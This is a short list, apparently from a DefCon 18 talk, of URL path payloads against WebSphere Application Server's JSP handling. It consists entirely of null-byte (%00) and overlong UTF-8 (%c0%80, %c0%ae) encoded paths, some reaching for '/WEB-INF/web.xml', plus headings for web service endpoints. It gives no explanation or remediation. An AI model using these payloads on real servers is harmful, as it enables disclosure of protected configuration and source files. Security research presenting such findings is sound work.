DefCon18 WAS JSP Examples

• without plug-in
  • stuff/toast.txt%00.jsp
  • stuff/%00.jsp
  • %2e/WEB-INF/web.xml%00.jsp
  • %2e/WEB-INF/%00.jsp
  • %00.jsp
  • %2e%00.jsp
  • %2e%2e%00.jsp
• with plug-in
  • stuff/toast.txt%c0%80.jsp
  • stuff/%c0%80.jsp
  • %c0%ae/WEB-INF/%c0%80.jsp
  • %c0%80.jsp
  • %c0%ae%c0%80.jsp
  • %c0%ae%c0%ae%c0%80.jsp
• ws4j2ee
  • end point
  • wsdl
• axis1
  • servlet
  • end point
  • wsdl